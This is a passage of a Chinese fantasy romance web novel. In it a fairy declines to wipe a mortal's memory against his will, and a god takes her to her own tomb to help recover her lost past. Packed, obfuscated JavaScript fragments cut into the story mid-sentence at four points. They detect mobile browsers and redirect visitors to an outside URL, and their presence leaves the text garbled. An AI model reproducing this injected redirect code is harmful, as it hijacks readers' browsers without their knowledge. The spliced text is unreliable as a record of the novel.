继而放下杯盏,摇头一叹:“果然色衰爱弛,可怜的大伯,焦虑竟是成真了。” 那信不是空信,且回得十分简单直白、毫没拐弯抹角,先是解释了爽约情由:大意便是织女宫中近来诸务繁冗,七月初七那日,恰遇万年难得一见之十色云霓现世,宫中上下都忙着打捞霞光、赶织霞锦。织女娘娘便被这宫中事务绊住了脚,一时忙得忘了,待脱得开身时,银汉星槎不再,已是误了佳期。 再是列出了清楚明白的补偿方案:织女娘娘表示,夫儿在彼,终是情牵,为表歉意,她已给孙守义和孩子都准备了十分昂贵的礼物,待来年七月初七日,鹊桥重架之时,她会亲手带来送给他,这便算是一个约定。 末了给了孙守义两个选择:若承此约,当携稚子归家,静候再会,莫再滋扰天宫,叫她为难。若不能时,那彼此就可能不再适合以夫妻的身份继续下去了,让他以后带着孩子好好生活,自此后碧海青天,各安天命。 所以总结一下,就是:本娘娘公务繁忙,忘了去看你和孩子,但给你买了礼物,哄得好就明年再会,哄不好便就此夫妻缘尽,往后也别再相见了。 怎么说呢,确实解释了一切,还给出了十分理性的解决方案,对于这种条理清晰的回信风格,璃音还是很欣赏的。 但同时,站在孙守义的角度来看,那就是通篇冷冰冰,很是情淡,完全一副处理公务的口吻,看不出任何难舍的情绪在内,对于他那样一个明显还陷在爱情之中、且内心敏感的人来说,恐怕堪比直接拿刀子在他心上割吧…… 当然,仅凭这些,还不足以让摇光都为之神色怔凝。 信是要给孙守义这个凡人看的,所以用的是很家常的白纸黑墨,但墨字之上,还浮跃着一层霞光熠熠的小字,那是用灵力写就,凡人无法得阅的。 织女写的是: “昔年浴于清溪,遭孙郎窃羽衣相胁。本欲降天罚,却惑于少年英姿,权作露水姻缘。今尘世颜色凋敝,爱念亦如烟云散,特借王母银钗,划银汉,断孽缘,毋使凡尘云阶再作相扰。个中因缘,仙子慧眼,当可明鉴。伏望善加裁夺,周全此事,则日后仙子归山,有云锦十端,聊表寸心,以作相谢。” 这一段文字,比前番更狠绝直白,简直颠覆。 也总结一下,大概就是:当年你趁我洗澡偷我衣服,本想弄死你的,但看你貌美,就顺水推舟,宠幸了你几年。如今我玩够了,你也成黄脸公了,是时候各归各位,让一切回去正轨了。 璃音想想也是,谁会真心爱上一个偷看自己洗澡、还趁机拿走衣物胁迫自己嫁给他的男人?皮相再好也不能够啊,那一颗心就不值得托付。 更何况那孙守义今年三十五了,少年时的皮相不再,估摸着体能也走下坡路了,那天仙的娘子,自然是留不住的了。 男人呐,一旦成了黄脸公,若还没点贤惠的品德傍身,那被宠爱的价值,可不就是一点不剩了。 璃音嗟叹,但如今夹在两人中间,谁都不会想去当那个传递坏消息的倒霉恶人,她更是不想,这一下为难起来,连和摇光怄气也忘了,遇上这种脸皮够厚才能办成的事,眼神自然而然便向他瞄了过去:“你看嘛,这叫我怎么和他说。” 看她殷殷切切的眼色,摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252094|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光还有什么不明白的,他轻笑了声,很是自觉地点了下头:“知道了,一会我去说。” 看来这人关键时候,还是很上道的,璃音满意了,殷勤地也给他沏上一盏茶,顺便提醒:“你到时候说辞可得委婉点,记得多多安抚,那孙守义为了见娘子一面,都能抱着孩子上祭台,可见是个有点疯劲在的。看了这信,一个激动之下,还不知又会搞出什么动静呢。” 摇光嗯了声,把茶接过,璃音想了想,又道:“这事也不急,你尽量拖晚些再去吧,让那两个孩子先安稳睡会儿,不然等会闹起来,又有的折腾。” 还是那样对所有人都心软,做不了真正的恶事,也下不去真正的重手,摇光笑着看她:“那多出来的时间,出去逛逛?” 璃音一时竟没懂他这话的意思,什么叫出去逛逛,逛哪里,逛什么?总不能是去逛街吧! 见她呆滞,男人也不急着解释,而是慢悠悠饮一口她沏来的茶,然后透过袅袅茶香里的雾气笑望她,看她仍没反应过来,便一抬眉,唇角一牵,牵起个十足肆意的弧度来:“不是想要我陪你过生辰?” 璃音:“……?” 这下明白了,真是弄巧成拙,问他要礼物,原本是想臊他一下,叫他尴尬的,谁想竟促成了他如此自恋的解读! 还有,那种尾巴翘起来,藏不住小小得意的语气,真是欠揍得要命! 璃音没好气,看他神姿笃笃又抿一口茶水,劈手就将他手里的茶盏夺了回来。 呸,真不要脸,本姑娘沏的茶,不给你喝了! 不过如今的皇城变作什么样了呢?她确实好久没逛过了,如果可以,她很想去阿娘和秋莺的坟上看看,以前,自己在凡间时的每一个生辰,都是她们三个人一起过的。 不过这厚脸皮的男人就不必跟来了,璃音起身,没好气向他戳出一根手指:“我自己出去玩,你不许跟着我!” 说着就要转身走人,不料手指还未来得及收回,就猝不及防有一只大手覆握上来,她因体质问题,常年比旁人偏凉的指尖,便被牢牢捉进了一只温暖干燥的掌心之中,抽也抽不回来了。 做什么? 璃音惊怔抬眸。 摇光仍是笑:“这些话,回头如实禀去娘娘面前,恐怕老师面上须不好看。” 这是打小报告吃到甜头,还打上瘾了? 凉凉笑一声,璃音刚要呛他,手却被他翻过,余下四指被他一一撑开,然后被迫露出的掌心之上,一只雕镂繁复、质地精巧的银簪,被他轻轻放了上来。 “你的长命锁不方便佩戴,我把它熔成了簪子,镶了你阿娘常戴的一颗耳坠,你走后,她把它留在了你的棺木里,想是希望你能带走,时常挂念她的。” 心尖一颤,璃音握紧了那支簪子:“真是阿娘特地留给我的?” “嗯。”摇光轻轻点头,“那日我送你的白骨回去,开棺后看见的。” 阿娘一定很想她,才留了贴身的首饰在她棺木之中,璃音眼眶热热的,抬手就要把簪子给自己戴上,然而手往发髻上一摸,却是一愣。 咣当—— 发间一支白玉雕成的虎头长钗被摇光面无表情地拔了出来,又面无表情地扔去了桌上…… 然后他抬起脸,唇角扬起,对她扬出一个锋锐无匹的笑来:“好了,现在可以戴了。” 154. 第153章 烫手山芋 “你做什么!” 璃音真被摇光这一下气得不轻,忙小心拾起桌上的玉钗,仔仔细细翻看过,确认没被摔出什么裂痕,才大大舒了口气。 这是月宫流传了好几代的信物,商月虽说送给她了,但她也只是一时不好退回,暂时存着了而已,只待以后商月再遇到喜欢的姑娘,就要还给他的,摔坏了怎么得了,那不就真要砸自己手里了吗! 将钗子小心收进袖中,还想把不听话的坏学生好好教育一下,结果一抬眼,却正撞上男人幽幽凉凉、看似十分危险地盯着自己的眼神。 凶什么凶? 这是什么没规矩的眼神,他以为自己能吓到谁? 璃音微一眯眼,便立刻睁大眼睛,气势加倍地盯了回去! 被她气势汹汹这么一盯,摇光反撑不住笑了:“生气了?” 能不生气吗,璃音继续凉眼盯着他,趁机一桩桩数落他的可恶罪行:“神君今日又是打小报告,又是砸祭台,又是扔发钗的,玩得挺高兴吧。” 岂料男人闻言,非但毫无反省之意,还加深了笑意看她,然后假模假式思索半晌,一点头,答曰:“是还行。” 简直气不动他,璃音刚想掏出戒尺揍人,屋内兀地一阵银光流转,竟有两道人影往这间小屋落了进来。 银光散去,看清来人,璃音怔了下:“商月,锦云仙子?” 其实她很想说,你俩怎么不敲门就进来,但她向来懒得得罪无意得罪的人,又不是更衣被撞着,想着算了,然而身边的摇光已声线微凉地开了口:“二位是不懂如何敲门么?” 看锦云默默倒退一步,离远了些,显是被神君乱摆的大谱镇了一道,还一脸血别溅我脸上的神色,璃音心里好笑,还是赶紧迎上几步,续回该有的问话:“你们怎么会到这来?” 至于他们两个为何又会一起出现,璃音已经见怪不怪,且毫无探究欲望了。 锦云向着摇光的方向躬身作礼后,才道:“织女宫中收到了仙子的来信,娘娘恐文字达意不清,特让我下界协助仙子,妥善料理了此事。” 好嘛,这是怕她对孙守义的事处理不彻底,还贴心派了个督工过来。 也能理解。 璃音扭头看向商月,想听听他又是过来干什么的,然而他却半晌不说话,只是一瞬不瞬盯在她的发间。 猜想他是在关心那支白玉虎头钗,璃音很想拿出来告诉他,钗子没事,被她好好保管起来了,只等他需要,随时都可以完璧归赵。但一看锦云在场,终究还是没动作,也没吭声,人家未来正经的眷侣在场,她这会提起那支钗子,恐怕不大合适。 这下屋内一时无人说话,突然就陷入了一种诡异的寂静。 寂静久了,空中便莫名仿佛绷上了一根无形的弦,璃音不喜欢这个氛围,直接清了清嗓子,把弦斩断,也不再等商月回话,而是向锦云道:“锦云仙子,究竟要如何安置孙守义,织女娘娘有给什么指示吗?” 她有些忧心:“我总觉得,即便把信给他看了,以他能上祭台的性子,绝不会轻易接受那样的回信,更不会善罢甘休。” 锦云却觉得不必忧虑:“仙子魂术了得,若有心要了结此事,应当不难吧。” 是不难,但璃音还是缓而坚决地摇了头:“除非是他自愿,否则我不会消除他的任何记忆。” 就凭她是仙,会使些魂术,就可以随意剥夺一个凡人的记忆吗,璃音不觉得自己拥有这样的权利。 她回头,静静向身后的摇光掠去一眼。 人活着,最后会长成什么样的人,皆是由他生命中一点一滴的经历塑造的,缺少了关于那些经历的记忆,便仿佛缺少了一片灵魂,他便也不再能称之为他。 所以,未经允许,就随意剥夺他人记忆,和杀人又有何区别? 遭到拒绝,锦云望着璃音轻咬了下唇,竟现出微恼的神色来,她对着隔壁屋子冷哼一声:“癞蛤蟆侥幸舔得一口天鹅肉,真把天鹅当他家养的了不成?” 显然,她对孙守义那“癞蛤蟆”居然骗到了她上司成婚这事,有很大的不满。 待转回头来,又定定看向璃音,道:“仙子抹除他的记忆,也不过是送他一场梦醒,叫他断了那些不切实际的妄念,继续过好他的凡人日子罢了。” 璃音乖乖和锦云对视着,半晌后,才轻轻歪过一点脑袋,很慢地眨了下眼。 重生以来,锦云仙子对自己的态度,还是那么叫人捉摸不透啊…… 好像总是动不动就对她恼了,可若要说是不喜欢她、看她不顺眼,上次羑和仙君对自己冷嘲热讽,她却又立马就气愤愤地站了出来,帮她说话。 真是好奇怪的一位美人儿。 其实她方才的话不无道理,但原则亦不可破,被爱妻抛弃、受尽求不得之苦是孙守义的宿命,可被迫失忆不是。 再说了,他当年偷看女人洗澡,又偷藏衣物,逼人为妻,求不得就是与他最相配的结局。可一旦失忆,那不就是最后一点心里的惩戒都被免去,还白得一儿一女,搞不好回家立马再娶一个媳妇,从此过起逍遥日子了呢。 那不才真是便宜他了吗。 所以璃音还是坚定地表示拒绝。 然后不出意外地,锦云仙子一咬下唇,眸光怨怨地盯着她,又对她恼了。 虽有所预料,但璃音依然一头雾水。 这时,屋内一直沉默的商月忽唤了她一声:“阿横。” 他走近她身边,低下头,温声:“孙守义必须处理。” 嗓音温和,说出的话却叫璃音莫名脊骨一寒。 “处理?” 对待一个活人,是可以用“处理”这个词的吗? 她微蹙了眉,还待说些什么,商月却在此时突然转成了传音,一句话把她的质问全都堵回去了:“孙守义是从未来投来的‘石子’。” 孙守义居然是“石子”,这可真是没想到。 璃音记得商月提过,清除“石子”的事,是他们月宫接到的密令,一直是他在管。 难怪他会过来。 半月前,摇光入镜时,小蜀曾向她介绍过,为避免神魂互噬,“石子”投湖时的装备里,一等星陨石,二等血龙鳞,末等黑蚕丝。 所以她迄今为止遇见过的“石子”中,摇光有星陨石,东海神秘人有万龙甲,而偷画贼有黑蚕丝。 可这个孙守义,身上统共就一件破布烂衫和一顶破头巾,和哪种装备都搭不上边,那看来虽是“石子”,但和自己一样,已是有一抹神魂出局了。 原来完成了神魂互噬的“石子”,也能被商月识别到吗,那自己…… 璃音无声抬眼,望向了商月。 见她望来,商月温和一笑,也静望着她,继续向她传音:“阿横,孙守义带有一段他的过去、相对于我们却是未来的记忆,他早被抛弃过了一次,所以这一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259355|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来,才会带着孩子上祭台,做那些格外出格的事,而你们接下来要对他做的,不管是什么,他一定早就想了一套行动,专等应对了。” 璃音头皮一麻,仔细想想,确实,孙守义前面的行为那么疯,但被她带下山后,就出奇听话,她还当是自己的威仪把人给镇住了,现在看来是整了个大动作,还在后面等着她呢! 她传音问商月:“‘石子’是归你们月宫管的,你有何打算?” 商月看着她,传音回道:“旁人不知该如何驱逐‘石子’,亦不便知晓此事,阿横,你不用再和锦云争辩,也别透露‘石子’之事,只说要把这人交给我处理就好。” 明白了,这烫手山芋有人接手,璃音岂有不抛的,一扭头,却发现屋内剩下的两人面色都有些古怪。 锦云的古怪依旧是叫人云里雾里,摇光那看似面无表情的一张脸,璃音就很眼熟了。 被人忽视了,不高兴了呗。 璃音心里好笑,但忙正事呢,才没空理他。 她想了想措辞,对锦云道:“锦云仙子,孙守义究竟该如何,与其我们两个在这里委决不下,不若把这事交给商月仙君处置,他素来办事端谨,最是秉公守正,想必仙子也是知道的,交给他,此事此人都定能得到妥善解决,仙子也可安心了。” 其实什么办事端谨、秉公守正,看商月前世的表现,璃音觉得很有待商议,但甩山芋嘛,能甩出去了就行,就别管姿势正不正确了。 锦云似乎有些迟疑,抿了唇,看着她不说话。 而商月听她这样说,也不知和她一样是演的,还是当真了,冲她腼腆笑起来:“锦云仙子还请放心,阿横交给我的事,我自会尽心办好,不叫阿横和织女宫失望。” 承诺得像模像样,但锦云压根没往商月身上瞧一眼,而是睁着一双黑漆漆的眼睛,把璃音盯了又盯,直盯得璃音后背都快冒出冷汗,才终于点头松了口。 如此,孙守义这事便算交割完成,不关她事了,璃音狠狠舒了口气。 看锦云和商月已自商议起来,她回过身,嚯,果不其然,好黑好沉的一张脸。 本来说好交给他的事,却忽然丢给旁人去做了,璃音就知道会惹这祖宗不痛快。 但“石子”和月宫之间的联系,不是得帮商月保密嘛,她也不是故意不打招呼,只是没法。 她往先前从他手里夺回的茶盏里重又斟满了茶,笑着给摇光端过去:“生气啦?” 他幽淡着一双眸子看她,不接她的茶水,也不和她说话,看来是真生气了。 不接算了,璃音把杯盏放下:“有人帮你做事还不好吗?” 接下来的话不大好意思被别人听到,她倾身过去,给他耳语:“再说了,你不是说要陪我出去逛?” 男人猛地转过脸来,离得太近,呼吸擦过颊上细小的茸毛,璃音猝不及防,忙撤开一点,话音一顿,然后下颌一扬,迎着他深黑的眸色,说了下去:“难道神君只是随口说说,敷衍我的?” 她拉起他的袖子,准备叩动“宇”铃:“所以,现在,走不走?” 办公场地,他俩抛了山芋的闲人就不打扰了,还是留给需要办公的人吧。 正想着,拽在男人宽袖上的手,就被一只宽大的手掌,一把反握住了。 湛蓝的清光闪动间,璃音听见摇光正对着屋内那二人,十足清晰,仿佛也熠着清芒的一句:“嗯,我们走。” 155. 第154章 淤痕 过生辰嘛,花样无非就那几种,既说是要逛,璃音便以为自己会被带去哪处热闹的街市,或至少是某个山水秀美、景色宜人的地方,走走逛逛,一天也就过去了。 没想到冷蓝流光散去,一打眼,周围竟是一片黑黢黢的暗,一时瞧不出是个什么所在,只皮肤被动感受着空气中若有似无的潮气,又觉出点阴嗖嗖的凉。 唰—— 玉横凌空,一道幽碧色的清光,从通体润白的一只小葫芦身上,莹莹地漫散开来。 这下璃音看清楚了。 他们身处的,是一间石室。 但不是一间普通的石室。 而是…… 青碧昏昧的光线中,璃音望着室内中央一副沉重而巨大的石棺,微微抽动了下额角。 她一指那巨棺,扭过头:“神君招呼也不打一个,就这样拽我进来,这里的主人不会怪罪吗?” 没错,不是逛街,也不是逛山逛水,这位奇葩的北斗君,居然是带她来,逛别人的墓室?! 而且,看这墓室的规模,还有那满室金银琅翠的随葬品,这墓主人的身份,竟还是个不简单的。 进这种贵人的大墓,就不怕冲撞了什么? 摇光却只是温敛着眉目,看向那棺,笑了笑,说:“不会。” 他仍是牵握着她手,向那棺的方向轻引了引,回头清声唤她:“来。” 这又是要她来做什么? 开棺吗,她又不是那专爱夺人棺材的堂弟,她可没这爱好。 但看男人温亮凝着自己的视线,璃音还是什么也没说,由他牵着走了过去。 她发觉,自从进了这墓室,今日摇光身上一直有的那种放恣气息就敛了下来,他牵她的力道很轻,看她的眼神也柔软,和她说话时,嗓音竟也有种温石般的质地。 就好像…… 某种回到了窝的动物,敛牙收爪,都藏进那一身张扬却柔软的皮毛里面,然后安安静静把自己团成了漂亮的一团,唤她也进窝来看,温驯得不行。 就这种乖模乖样的时候,还是蛮讨人喜欢的。 于是在他身后,璃音不由无声地轻抬了下唇角,就跟着他去了。 摇光一手牵着少女,一手扶上沉重的石头棺盖,向边上轻轻一推,闷沉的石声响过,棺盖一错,与棺身之间错出了一个小小的豁口。 看男人眸中轻漾起的温昵,璃音也不禁好奇起来,微探过头去,从那小口向内张了一张。 这一张望,竟望见一副十分眼熟的人骨。 她怔了一怔,思绪空转了好半晌,才缓转过头,向摇光确认道:“这里面的,是我?” 听男人轻声嗯着,璃音抬起头,重新打量起眼前这间堪称豪奢的墓室:“这么大的墓……” 眼神四处扫荡,扫过黄金的内棺,扫过精美的壁画,扫过满室的绫罗珠宝,最后,少女惊叹的视线,黏在了角落里一整箱一整箱的黄金上面,再挪不动了。 飞升后就穷了的小仙子,此时真是被一室宝光闪亮了眼,默默吞咽了下喉咙:“……还有那么多的金子,也都是我一个人的?” 隐约知道自己在人间有一座大墓,但没想到居然这么奢华! 看少女最后的重点居然落在了那一堆金子上,摇光好笑地伸出手,捧住她微凉的面颊,把她的脑袋和视线都重新扳了回来。 正数金子呢,莫名就被挟住了脸,璃音很是不满,正想抗议一下,却蓦地对上男人一对极深、极认真地凝着她的双眸。 那是在一个人有极重要的话要说的时候,才会出现的眼神。 于是璃音眨了眨眼,就乖乖把脸搁在他温暖的手掌之中,没动,而是先听他开了口:“阿璃。” 璃音猛地抬脸。 而男人看她向自己惊怔仰起的黑眸,笑了笑,指腹缓蹭了下她柔软的颊,轻声续道:“你做凡人时的记忆不全,你自己有察觉到吗?” 自己的记忆有失,其实璃音不止一次察觉到了,比如自己是因何而死,死后又为何会被葬在如此明显逾制的大墓之中,她就一概想不起来。 只是…… 他又是如何知道的呢? 璃音被男人捧捺着脸,望着他因太过认真地凝视自己、而显得格外漆黑沉亮的眸子,蹭在他宽大的掌心之中,迟疑地点了一下头。 把掌中这温玉似的触感静静感受了好一会,摇光仍是没舍得松手,低下头,越发向她俯近了些,才又轻缓地开了口:“那如果有办法,可以让你把那些记忆,重新再找回来呢?你……” 不等他说完,璃音立马就在男人掌间用力点起头来:“要找回来!” 探魂无果,她缺失掉的那些记忆,显然不是自然遗失的。她不喜欢这种灵魂被片下一块、囫囵懵懂的感觉,只要有机会,她都一定要把自己完整的过去找回来! 其实在摇光入镜那日,她就询问过小蜀了,小蜀能通过昆仑镜把她重新记起来,那小七呢?那些缺失的记忆,不也就可以找回来了吗? 可小蜀难得苦笑了下,说应该是不行。 天地法则要你遗忘的记忆,就是从镜子里重新窥得了,也依然久留不住,马上就会进入下一轮的遗忘。这是你不该记得的东西,所以你每拾起一次,都会再被无情地收回一次。 而小蜀之所以能记得,乃是因为昆仑镜的镜灵就傍她身侧,竟像是件认了主的法器般,与她寸步寸心都不肯离。 可世上只得一个昆仑君,旁人就没这运气了。 本以为此事再无希望了,谁想还能柳暗花明,璃音小小地兴奋起来,一手不自觉攀上男人的腕,灼灼望他:“你真有办法?” 若自己能将记忆找回来,那是不是意味着,他也…… 看她一脸迫不及待的样子,摇光笑起来,捧定她的脸,又迫她向上仰了仰:“当然有。” 往时他若胆敢对她如此,手早被她拍飞了,可此时的少女,脸乖乖搁在他掌中,任他指腹捏蹭,竟也不躲不恼,而是放纵着他的一切,好像任他做什么都可以,只睁着一双澄澈如琉璃珠似的清瞳,满是切盼而灼灼地仰他,在静候他说出那个办法,给她一个答案。 璃音确实是太过专注于等待摇光给出恢复记忆的法子,唯恐他接下来每一个动作都有深意,所以无论他做什么,都十分配合地由着他,直到…… 他俯身,越俯越近……微热的呼吸沾染上她的睫,这也是恢复记忆的一项必要程序吗?她奇怪地挣动了下,但很快就被男人掌心微一使力,重新捧定了她的脸:“别动,我在帮你。” 原来真的是在帮她啊,璃音轻眨了下被他呼吸拂弄得微痒的睫,听话地不动了。 然后男人温软的唇落下来,就要印上她的眼睛,璃音心头一跳,但想着这是在帮她恢复记忆,还是听话地没动,可就在她要闭目接受的那一瞬,蓦地,在眼角那一隙的余光之中,她竟捕捉到了男人唇角抑着的一点促狭笑意! 璃音一下子反应过来,颊上顿时透红,她一把将脸上的手拽下来,一掌毫不留情地拍在男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这个位置,又是这个形态的淤痕,璃音问完,便立马想起了什么。 回来的那晚,因为被他惹得太过伤心,她曾惩戒性地打了他一尺。 可她打他的那一尺,根本就没用几分力,就连方才她放狠话,也没真准备下狠手,再伤心,再生气,她都舍不得真把他打出个好歹来的。 谁能想到玉帝给的这戒尺看似平平无奇,威力竟如此之大! 只不轻不重敲了那么一下,当时她也查看过他掌心,只是泛了点淤红,并不严重,不想原来是个威力全在后劲上的法器,半月过去,这道淤伤简直堪称惊骇了! 摇光却仍笑着,还在催她降罚:“不痛,再接两下,不是问题。” 已经咂摸出他这一番请罪请罚,那么乖地递出手来,又故意这么说,就是要自己看见,来心疼他的。 垂下戒尺,璃音无声瞪他一眼,示意他可以了,她看见了,也心疼了,再多就没意思了,才重又低下头,掌心托着他温腻的手背,指腹几次抬起,却始终没敢落入他掌中。 心里有点难受,恢复记忆的事得了希望又落空,还把喜欢的人打出如此严重的伤来,这还怎么指望人家会喜欢上自己呢,真是个糟糕透顶的生辰。 知道她心软,诱她心疼,也只是想叫她消气了就好,可若是因此消沉,那可就不好了,摇光收回手,重又捧起少女的脸,轻声安抚她:“真不痛,只是看着吓人。” 看她仍是低落地望他,但脸却乖乖搁着,不再乱动了,他轻笑了声,带她重回正题:“阿璃,想要找回那些记忆,办法其实一直就在你身上,是你从来不晓得用它。” 156. 第155章 耐心 “在我身上?” 璃音眼中现出一瞬思惘的失焦来,她在脑中仔细盘点过自己身上的各种“宝贝”,实没一样有这功效。 仰回眸,看着眼前这张与慕璟明毫无二致的面容,蓦地,她想起九百年前,自己往他神魂中镌下的那一枚烙印来。 可事实证明,那烙印并没起什么作用,否则他也不会忘记自己了。 她不自觉抬手,绕过他因捧着自己的脸而挡在身前的双臂,也用单掌捧定他一侧面颊。 少女眸中水亮,就和男人互捧着脸,不作声地盯着看起来。 盯了一会,又翻掌一收,五指收拢,拇指指腹一抵,就捏住了他凌冽的下颌,把他漂亮的一张脸推左挪右,又抬上摆下的,一寸寸审视起来。 摇光眸中染了笑,安静由她望着,随她摆弄,没有打搅她自己探索答案的兴味。 审视片刻后,少女倏一眯眼,指尖一个用力,迫男人的脸向她俯了过来。 对待他的动作粗暴,脸也板着,眼底却有抑不住的笑意跑了出来,璃音一副“你给我老实交代”的口吻,指腹在他唇下那片肌肤危险地摩挲着:“什么时候想起来的,想起多少了?” 摇光分出一只手来捉她不安分的指尖,笑起来:“不多,你回来后断断续续,会时不时想起来一些。” 璃音拉过那只手,握在掌心,再慢慢把它摊开,鲜红的血痕实在刺目,一下便又跳入了她的眼中。 她垂目看着,这次,指腹终于搭上,沿着那道红痕,慢慢抚了过去:“都想起什么了?” 她和慕璟明之间有那么多的回忆,可美好的时光总如静水潺潺,最是易忘,唯独吵架时脸红脖子粗的,像这种激烈的大事,才容易叫人印象深刻。璃音真怕他好的没想起来多少,就光记得他们吵架那段了。 偏男人还迟迟不作答,不知在迟疑什么,别是被她猜中了吧,心里咯噔着一抬眼,不期竟撞上男人深黑的瞳孔之中,静燃着的两团毫不遮掩的幽炽炙焰。 见她望来,男人唇角一勾,还捧在她颊边的那只手便学她方才的动作,翻掌微收,修长指骨抵住她下颌,迫她的脸向着自己,慢慢抬了起来。 拇指的指腹缓摩上她下唇,眸中那点炽焰烧得愈发放肆,他唇角勾着笑意,清哑着声线,慢悠悠启唇:“想起……” 然而才出口了两个字,就被颊上微微烧起来的少女一把捂住了嘴巴,璃音恶狠狠拍掉他的手:“色狼!” 想起了什么真是不言而喻了,是她最近看他冷淡的样子看多了,竟一时忘了他这无有拘束、淡却妄肆的本性。 所以在纯洁少女心中那些静水潺潺的美好时光里,到了他的记忆之中,一经回想,自然还是很能有些激烈的大事的。 听见少女这一声熟昵的嗔恼,摇光笑起来,环臂轻揽过她后腰,圈她在怀,折颈下来,俯抵上她的额,竟又是轻声笑个不止。 从没见他如此开怀地畅笑过,璃音肩背都被他抵蹭在额上的力道压得微微向后反弓了起来,熟悉的清香萦漫上来,她故作嫌弃地“嗳”了两声,要他停下,手却在他的低笑声中环上了他劲瘦的腰身,眼底也早被笑意沾满了。 所以今日这一整天,他对着自己的那一脸意气洋洋,不是要臊她,而是因为想起了这些吗。 好吧,虽然只把她想起了一点点,且最先记起的画面实在可恶,但至少,他已在一点点把自己找回来了。总有一天,她的小七会完完整整地回来,她只要给他一点耐心,慢慢地等他就好。 而她最不缺乏的就是耐心。 不过,也有莫名的好胜心涌了上来,自己也要加紧努力,赶紧把那些遗失的记忆找回来才行! 费了好大的劲才把额上的脑袋推开,璃音把男人的手重新捞进手心,故作低落地叹了口气,又十分大声地喃喃自责道:“真不痛吗,小仙怎么看着好像把神君都打傻了,挨了说还在笑呢。” 说着,牵握他的手忽地一松,把自己一只摊开的手心和一把戒尺,一起戚戚向他递了过去,弱声弱气道:“要不然神君也打小仙两下,消消气吧,这也便算扯平了。” 看来她此时心情不错,都有空演上了,摇光眉峰微挑,似笑非笑看她,半晌,竟一点头:“好啊。” 说罢接过白玉戒尺,对准少女白玉似的掌心,扬手便要落下。 然而那架势看着虽足,高度和角度却是一瞧就敷衍使不上劲的,这下急得璃音一掀眼,中气十足说他:“你是不是怕到时候我恢复得比你快,故意敷衍我!” 在男人的低笑声中算着步子往后挪了挪,留出挨打的最佳距离,璃音才又颠了下摊开的那只手掌,抬起脸来,很有架势地吩咐他:“打重一点,到时留不下痕,我可要回来找你的。” 她本就体质特殊,不易留痕,他还这么惜力,那她的记忆要猴年马月才能恢复得全。 摇光笑着将戒尺握在掌中,另一手去托她的手背:“阿璃真聪明,什么时候想到的?” 被人夸了聪明,少女眉梢下巴都小小得意地一扬:“你把手上的淤痕给我看,不就是要我发现这个吗。” 他把掌心那道狰狞可怖的血痕给她看,看她低落,却又立马收回手,反过来安抚她,还那么生硬地转换掉了话题。这样的事,还有他今日的许多动作神态,都是记忆中没有她、对她总是温温淡淡的摇光神君不会去做,而只有九百年前、那个最是疼她爱她的少年,才会做的。 可既然舍不得她难过自责,一开始又为什么还要给她看呢。 据他所说,他在她回来之后,便开始陆陆续续有记忆回笼,那在她回来之前和之后,在这位神君的身上,究竟是哪处有了变化,才开启了这些记忆呢? 她和摇光“结对”那日,作为收买她的谢礼,西王母给了她威悍无比的引魂铃,而玉帝居然只掏给她一柄平平无奇的戒尺,还特地嘱咐了她一句:“仙子圣女心肠,他不听话时,你就拿这个打他。” 一把平平无奇的尺,一句平平无奇的话,如今再想,当真只是玉帝的随口一言,全无深意玄机吗? 北斗神君身份在那摆着,就是得了玉帝这话这尺,谁又真敢随手就打了。那晚,若不是她实在伤心到了极处,天上地下,竟无一处一人可与她诉说排遣,她也不会想到要请出这尺,打他那一下的。 或许,摇光会在何时何处“不听话”,而她又会在何时何处因此而伤透一颗心,伤极而怒,怒到会掏出这一把戒尺,都早在玉帝送尺之时,就被算透在他那一双阴阳眼之中了呢。 随时间渐走渐回的记忆,和掌心那道渐长渐深的淤痕,岂不正是相合相配? 见少女得意,摇光敛眉一笑,掌心宽短而厚的玉尺之上,随他抬手,一层温静的月白华光静静流转着铺展开来,他一掌温平托着她手背,轻着声道:“你身体与旁人不同,我下手会重一些。” 她几时怕过痛了,璃音点着头,轻嗯了声,手背在他掌心里不安分地蹭动两下,以示催促。 玉尺被男人修长的指节握紧,缓缓扬起在了一片莹润的华光之中,一顿蓄力之后,再落下时,璃音却隐约瞧见,在那月白色的流光之中,竟似乎有一丝冷蓝色的淡淡光晕,也在那其间一闪而过。 那是什么? 但容不得她细想, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287320|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啪—— 一声脆响,坚而微凉的尺端,已毫不惜力地落在了她的掌心之上。 